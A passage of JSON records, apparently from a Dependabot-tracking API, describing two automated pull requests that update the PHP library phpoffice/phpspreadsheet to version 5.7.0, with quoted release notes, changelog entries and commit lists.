^5.7","user":"dependabot[bot]","labels":[],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-04-26T10:44:50.000Z","updated_at":"2026-04-26T10:44:51.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Update","packages":[{"name":"phpoffice/phpspreadsheet","old_version":"^2.0","new_version":"^5.7","repository_url":"https://github.com/PHPOffice/PhpSpreadsheet"}],"path":null,"ecosystem":"packagist"},"body":"Updates the requirements on [phpoffice/phpspreadsheet](https://github.com/PHPOffice/PhpSpreadsheet) to permit the latest version.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/releases\"\u003ephpoffice/phpspreadsheet's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e5.7.0\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSecurity patches.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/blob/master/CHANGELOG.md\"\u003ephpoffice/phpspreadsheet's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2026-04-19 - 5.7.0\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSecurity patches.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2026-04-09 - 5.6.0\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eMake Reader/Csv Extendable, add new preferred Reader/CsvNoEscape class. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4836\"\u003e#4836\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4836\"\u003ePHPOffice/PhpSpreadsheet#4836\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4837\"\u003e#4837\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4837\"\u003ePHPOffice/PhpSpreadsheet#4837\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4845\"\u003e#4845\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4845\"\u003ePHPOffice/PhpSpreadsheet#4845\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eXLOOKUP function. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1453\"\u003e#1453\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1453\"\u003ePHPOffice/PhpSpreadsheet#1453\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4844\"\u003e#4844\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4844\"\u003ePHPOffice/PhpSpreadsheet#4844\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eIntroduction of a benchmark test suite, independent of the default unit test suite. Users can use it as a template for experimenting and making decisions concerning performance. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4824\"\u003e#4824\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4824\"\u003ePHPOffice/PhpSpreadsheet#4824\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eRemoved\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eNothing yet.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eNothing yet.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eMoved\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eNothing yet.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCollection/Cells::MAX_COLUMN_ID - use Cell/AddressRange::MAX_COLUMN_INT.\u003c/li\u003e\n\u003cli\u003eWriter/Xls/Worksheet constants MAX_XLS_COLUMN, MAX_XLS_COLUMN_STRING, MAX_XLS_ROW - use Cell/AddressRange MAX_COLUMN_INT_XLS, MAX_COLUMN_XLS, MAX_ROW_XLS\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eConsistent handling of row and column limits. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4820\"\u003e#4820\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4820\"\u003ePHPOffice/PhpSpreadsheet#4820\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eProblems with Html Conditional Formatting Colorscale. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4838\"\u003e#4838\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4838\"\u003ePHPOffice/PhpSpreadsheet#4838\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4839\"\u003e#4839\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4839\"\u003ePHPOffice/PhpSpreadsheet#4839\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed an issue where Date detection could misclassify invalid numeric values as dates. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4841\"\u003e#4841\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4841\"\u003ePHPOffice/PhpSpreadsheet#4841\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOds Reader/Writer Integer Styles with Leading Zeros. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1606\"\u003e#1606\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1606\"\u003ePHPOffice/PhpSpreadsheet#1606\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4822\"\u003e#4822\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4822\"\u003ePHPOffice/PhpSpreadsheet#4822\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eXlsx Writer Data URI for Images. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4823\"\u003e#4823\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4823\"\u003ePHPOffice/PhpSpreadsheet#4823\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4831\"\u003e#4831\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4831\"\u003ePHPOffice/PhpSpreadsheet#4831\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eConfusion Checking for Union Arguments. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4832\"\u003e#4832\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4832\"\u003ePHPOffice/PhpSpreadsheet#4832\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4835\"\u003e#4835\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4835\"\u003ePHPOffice/PhpSpreadsheet#4835\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReader Xlsx Hyperlink with Anchor. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4842\"\u003e#4842\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4842\"\u003ePHPOffice/PhpSpreadsheet#4842\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4843\"\u003e#4843\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4843\"\u003ePHPOffice/PhpSpreadsheet#4843\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2026-02-28 - 5.5.0\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eMuch improved handling of Styles by Ods Reader. The relevant changes are listed at the end of the \u0026quot;Fixed\u0026quot; section below.\u003c/li\u003e\n\u003cli\u003eOption to use OldCalculatedValue in ToArray and Relatives. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1810\"\u003e#1810\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1810\"\u003ePHPOffice/PhpSpreadsheet#1810\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4787\"\u003e#4787\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4787\"\u003ePHPOffice/PhpSpreadsheet#4787\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd checkbox style (Xlsx and Html). [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4781\"\u003e#4781\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4781\"\u003ePHPOffice/PhpSpreadsheet#4781\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOption to whitelist external images. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4793\"\u003e#4793\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4793\"\u003ePHPOffice/PhpSpreadsheet#4793\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eWriter/Html add ability to set line ending. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4779\"\u003e#4779\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4779\"\u003ePHPOffice/PhpSpreadsheet#4779\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/9f55d3b9b7bcb1084fda8340e4b7ce4ed10cd0c8\"\u003e\u003ccode\u003e9f55d3b\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4859\"\u003e#4859\u003c/a\u003e from oleibman/updchangelog20260419\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/2e35213f2a5c8430f8f46294e7d472c30cf123be\"\u003e\u003ccode\u003e2e35213\u003c/code\u003e\u003c/a\u003e Update Changelog for New Release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/9019a9c9da1daee02d55c40f45f23a3c7eba5b62\"\u003e\u003ccode\u003e9019a9c\u003c/code\u003e\u003c/a\u003e Merge commit from fork\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/f1eb4e6980d537ec85fc20be5950f9ad65d47ffd\"\u003e\u003ccode\u003ef1eb4e6\u003c/code\u003e\u003c/a\u003e Merge commit from fork\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/9b90dee03deb0d28761479c4a3a06fba5f7e012e\"\u003e\u003ccode\u003e9b90dee\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4857\"\u003e#4857\u003c/a\u003e from oleibman/changelog20260406\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/f302b3265a3c471438192eea5a8cca26c1d52e88\"\u003e\u003ccode\u003ef302b32\u003c/code\u003e\u003c/a\u003e Prepare Changelog For New Release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/4a476071b3e0d633906251d95e73ad7464a32337\"\u003e\u003ccode\u003e4a47607\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4850\"\u003e#4850\u003c/a\u003e from oleibman/updatestan\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/8a9e9b561043ad5c9ed869a9c9b6658a7b1c50c3\"\u003e\u003ccode\u003e8a9e9b5\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4845\"\u003e#4845\u003c/a\u003e from oleibman/csvnonutf8\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/5d6d7d537f941ecfff5990f33558bad74d075be5\"\u003e\u003ccode\u003e5d6d7d5\u003c/code\u003e\u003c/a\u003e Merge branch 'master' into csvnonutf8\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/6f23fe3d8c3b2604360bbc4d1778a1f41d6c1d52\"\u003e\u003ccode\u003e6f23fe3\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4844\"\u003e#4844\u003c/a\u003e from oleibman/xlookup\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/compare/2.0.0...5.7.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\n\n\n\u003c/details\u003e","html_url":"https://github.com/thermiteplasma/loom/pull/5","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/thermiteplasma%2Floom/issues/5","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/5/packages"},{"uuid":"4330250523","node_id":"PR_kwDORLTA5c7VsSP2","number":35,"state":"closed","title":"chore(deps)(deps): bump phpoffice/phpspreadsheet from 5.5.0 to 5.7.0 in /backend","user":"dependabot[bot]","labels":[],"assignees":[],"locked":false,"comments_count":3,"pull_request":true,"closed_at":"2026-04-26T17:52:55.000Z","author_association":null,"state_reason":null,"created_at":"2026-04-26T06:52:33.000Z","updated_at":"2026-04-26T17:52:57.000Z","time_to_close":39622,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps)(deps)","packages":[{"name":"phpoffice/phpspreadsheet","old_version":"5.5.0","new_version":"5.7.0","repository_url":"https://github.com/PHPOffice/PhpSpreadsheet"}],"path":"/backend","ecosystem":"packagist"},"body":"Bumps [phpoffice/phpspreadsheet](https://github.com/PHPOffice/PhpSpreadsheet) from 5.5.0 to 5.7.0.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/releases\"\u003ephpoffice/phpspreadsheet's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e5.7.0\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSecurity patches.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e5.6.0\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eMake Reader/Csv Extendable, add new preferred Reader/CsvNoEscape class. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4836\"\u003e#4836\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4836\"\u003ePHPOffice/PhpSpreadsheet#4836\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4837\"\u003e#4837\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4837\"\u003ePHPOffice/PhpSpreadsheet#4837\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4845\"\u003e#4845\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4845\"\u003ePHPOffice/PhpSpreadsheet#4845\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eXLOOKUP function. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1453\"\u003e#1453\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1453\"\u003ePHPOffice/PhpSpreadsheet#1453\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4844\"\u003e#4844\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4844\"\u003ePHPOffice/PhpSpreadsheet#4844\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eIntroduction of a benchmark test suite, independent of the default unit test suite. Users can use it as a template for experimenting and making decisions concerning performance. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4824\"\u003e#4824\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4824\"\u003ePHPOffice/PhpSpreadsheet#4824\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCollection/Cells::MAX_COLUMN_ID - use Cell/AddressRange::MAX_COLUMN_INT.\u003c/li\u003e\n\u003cli\u003eWriter/Xls/Worksheet constants MAX_XLS_COLUMN, MAX_XLS_COLUMN_STRING, MAX_XLS_ROW - use Cell/AddressRange MAX_COLUMN_INT_XLS, MAX_COLUMN_XLS, MAX_ROW_XLS\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eConsistent handling of row and column limits. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4820\"\u003e#4820\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4820\"\u003ePHPOffice/PhpSpreadsheet#4820\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eProblems with Html Conditional Formatting Colorscale. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4838\"\u003e#4838\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4838\"\u003ePHPOffice/PhpSpreadsheet#4838\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4839\"\u003e#4839\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4839\"\u003ePHPOffice/PhpSpreadsheet#4839\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed an issue where Date detection could misclassify invalid numeric values as dates. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4841\"\u003e#4841\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4841\"\u003ePHPOffice/PhpSpreadsheet#4841\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOds Reader/Writer Integer Styles with Leading Zeros. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1606\"\u003e#1606\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1606\"\u003ePHPOffice/PhpSpreadsheet#1606\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4822\"\u003e#4822\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4822\"\u003ePHPOffice/PhpSpreadsheet#4822\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eXlsx Writer Data URI for Images. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4823\"\u003e#4823\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4823\"\u003ePHPOffice/PhpSpreadsheet#4823\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4831\"\u003e#4831\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4831\"\u003ePHPOffice/PhpSpreadsheet#4831\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eConfusion Checking for Union Arguments. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4832\"\u003e#4832\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4832\"\u003ePHPOffice/PhpSpreadsheet#4832\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4835\"\u003e#4835\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4835\"\u003ePHPOffice/PhpSpreadsheet#4835\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReader Xlsx Hyperlink with Anchor. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4842\"\u003e#4842\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4842\"\u003ePHPOffice/PhpSpreadsheet#4842\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4843\"\u003e#4843\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4843\"\u003ePHPOffice/PhpSpreadsheet#4843\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/blob/master/CHANGELOG.md\"\u003ephpoffice/phpspreadsheet's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2026-04-19 - 5.7.0\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSecurity patches.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2026-04-09 - 5.6.0\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eMake Reader/Csv Extendable, add new preferred Reader/CsvNoEscape class. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4836\"\u003e#4836\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4836\"\u003ePHPOffice/PhpSpreadsheet#4836\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4837\"\u003e#4837\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4837\"\u003ePHPOffice/PhpSpreadsheet#4837\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4845\"\u003e#4845\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4845\"\u003ePHPOffice/PhpSpreadsheet#4845\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eXLOOKUP function. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1453\"\u003e#1453\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1453\"\u003ePHPOffice/PhpSpreadsheet#1453\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4844\"\u003e#4844\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4844\"\u003ePHPOffice/PhpSpreadsheet#4844\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eIntroduction of a benchmark test suite, independent of the default unit test suite. Users can use it as a template for experimenting and making decisions concerning performance. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4824\"\u003e#4824\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4824\"\u003ePHPOffice/PhpSpreadsheet#4824\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eRemoved\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eNothing yet.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eNothing yet.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eMoved\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eNothing yet.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCollection/Cells::MAX_COLUMN_ID - use Cell/AddressRange::MAX_COLUMN_INT.\u003c/li\u003e\n\u003cli\u003eWriter/Xls/Worksheet constants MAX_XLS_COLUMN, MAX_XLS_COLUMN_STRING, MAX_XLS_ROW - use Cell/AddressRange MAX_COLUMN_INT_XLS, MAX_COLUMN_XLS, MAX_ROW_XLS\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eConsistent handling of row and column limits. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4820\"\u003e#4820\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4820\"\u003ePHPOffice/PhpSpreadsheet#4820\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eProblems with Html Conditional Formatting Colorscale. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4838\"\u003e#4838\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4838\"\u003ePHPOffice/PhpSpreadsheet#4838\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4839\"\u003e#4839\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4839\"\u003ePHPOffice/PhpSpreadsheet#4839\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed an issue where Date detection could misclassify invalid numeric values as dates. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4841\"\u003e#4841\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4841\"\u003ePHPOffice/PhpSpreadsheet#4841\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOds Reader/Writer Integer Styles 